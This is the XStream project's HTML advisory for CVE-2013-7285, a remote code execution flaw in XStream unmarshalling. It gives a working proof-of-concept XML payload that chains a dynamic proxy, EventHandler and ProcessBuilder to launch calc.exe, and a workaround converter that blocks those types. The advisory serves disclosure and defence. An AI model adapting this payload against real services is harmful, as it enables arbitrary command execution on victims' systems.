Codebase list libxstream-java / db725b78-e06f-4bbe-9729-33eea41d84e7/main xstream-distribution / src / content / CVE-2013-7285.html
db725b78-e06f-4bbe-9729-33eea41d84e7/main

Tree @db725b78-e06f-4bbe-9729-33eea41d84e7/main (Download .tar.gz)

CVE-2013-7285.html @db725b78-e06f-4bbe-9729-33eea41d84e7/mainraw · history · blame

<html>
<!--
 Copyright (C) 2017, 2018, 2019 XStream committers.
 All rights reserved.
 
 The software in this package is published under the terms of the BSD
 style license a copy of which has been included with this distribution in
 the LICENSE.txt file.
 
 Created on 25. April 2017 by Joerg Schaible
 -->
  <head>
    <title>CVE-2013-7285</title>
  </head>
  <body>

    <h2 id="vulnerability">Vulnerability</h2>
    
    <p>CVE-2013-7285: XStream can be used for Remote Code Execution.</p>
	
    <h2 id="affected_versions">Affected Versions</h2>
    
	<p>All versions until and including version 1.4.6 are affected, but a <a href="#workaround">workaround</a> exist.</p>
	
	<p>Version 1.4.10 is affected if the security framework has not been initialized.</p>

    <h2 id="description">Description</h2>
    
    <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
    XStream creates therefore new instances based on these type information.  An attacker can manipulate the processed
    input stream and replace or inject objects, that can execute arbitrary shell commands.</p>

    <h2 id="reproduction">Steps to Reproduce</h2>

	<p>Create a simple interface e.g. named <em>Contact</em> and an implementation class.  Use XStream to marshal such
	an object to XML. Replace the XML with following snippet and unmarshal it again with XStream:</p>
<div class="Source XML"><pre>&lt;contact class='dynamic-proxy'&gt;
  &lt;interface&gt;org.company.model.Contact&lt;/interface&gt;
  &lt;handler class='java.beans.EventHandler'&gt;
    &lt;target class='java.lang.ProcessBuilder'&gt;
      &lt;command&gt;
        &lt;string&gt;calc.exe&lt;/string&gt;
      &lt;/command&gt;
    &lt;/target&gt;
    &lt;action&gt;start&lt;/action&gt;
  &lt;/handler&gt;
&lt;/contact&gt;
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
Contact contact = (Contact)xstream.fromXML(xml);
</pre></div>

    <p>Then as soon as the code calls any method on the Contact instance, the payload gets executed, e.g.
    contact.getFirstName().</p>

    <p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>

    <h2 id="impact">Impact</h2>

	<p>The vulnerability may allow a remote attacker to run arbitrary shell commands only by manipulating the processed
	input stream.</p>

    <h2 id="workaround">Workaround</h2>
	<p>Users can register an own converter for dynamic proxies, the <em>java.beans.EventHandler</em> type or for the
	<em>java.lang.ProcessBuilder</em> type, that also protects against an attack for this special case:</p>
<div class="Source Java"><pre>xstream.registerConverter(new Converter() {
  public boolean canConvert(Class type) {
    return type != null &amp;&amp; (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type));
  }

  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
    throw new ConversionException("Unsupported type due to security reasons.");
  }

  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
    throw new ConversionException("Unsupported type due to security reasons.");
  }
}, XStream.PRIORITY_LOW);
</pre></div>

    <h2 id="credits">Credits</h2>
    
    <p>The vulnerability was discovered and reported by Pierre Francis Ernst of IBM Canada.</p>
    
  	</body>
 </html>